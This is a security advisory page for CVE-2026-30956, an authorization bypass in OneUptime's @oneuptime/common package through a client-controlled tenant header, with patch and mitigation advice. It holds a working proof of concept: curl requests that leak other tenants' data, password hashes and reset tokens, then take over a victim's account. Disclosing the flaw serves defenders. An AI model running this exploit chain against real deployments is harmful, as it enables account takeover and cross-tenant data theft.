Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

CVE-2026-30956 @oneuptime/common

CRITICAL

CVE-2026-30956 is a critical-severity (CVSS 9.9) CWE-285 vulnerability in @oneuptime/common. A fix is available for @oneuptime/common — see the affected versions and patch details below.

OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header

Also known asGHSA-r5v6-2599-9g3m
Published
Mar 10, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30956.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-30956 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@oneuptime/commonnpm
3Kdownloads / week

Description

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

  1. Access project data belonging to other tenants
  2. Read sensitive User fields via nested relations
  3. Leak plaintext resetPasswordToken
  4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

  • Table permission validation
  • Query permission validation
  • Select permission validation
  • Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

  1. Attacker bypasses tenant isolation using is-multi-tenant-query
  2. Attacker reads victim project
  3. Attacker selects createdByUser.resetPasswordToken
  4. Attacker triggers forgot-password for victim
  5. Attacker retrieves the fresh token via the same query
  6. Attacker calls /api/identity/reset-password
  7. Attacker sets a new password
  8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup:

  • Local OneUptime v10.0.20 instance
  • Two normal accounts:
    • Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)
    • Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    }
  ],
  "count": 2
}
  1. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"name":"Victim Project EXPLOIT"}'

Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

  1. Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d "{\"email\":\"[email protected]\"}"
  1. Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
        "select": {
          "_id": true,
          "createdByUser": {
            "email": true,
            "password": true,
            "resetPasswordToken": true
          }
        }
      }'

Result: Sensitive user data is exposed:

{
  "data": [{
    "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
    "createdByUser": {
      "email": {"value": "[email protected]"},
      "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
      "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
    }
  }]
}
  1. Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'

# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
  -H "content-type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "AttackerChosenPassword123!"
  }'

Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project.

Impact

This vulnerability allows a low‑privileged authenticated user to:

  • bypass tenant isolation
  • access other tenant projects
  • read sensitive user credential fields
  • leak plaintext reset tokens
  • reset victim passwords
  • fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@oneuptime/commonall versions10.0.21npm install @oneuptime/common@10.0.21

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oneuptime/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @oneuptime/common to 10.0.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30956 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30956 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-30956. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header. Because the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled. This allows attackers to: 1. Access project data belonging to other tenants 2. Read sensitive User fields via nested relations 3. Leak plaintext resetPasswordToken 4. Reset the victim’s password and fully take over the account This results in cross
O3 Security · Impact-Aware SCA

Is CVE-2026-30956 in your dependencies?

O3 Security finds CVE-2026-30956 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-30956: @oneuptime/common | O3 Security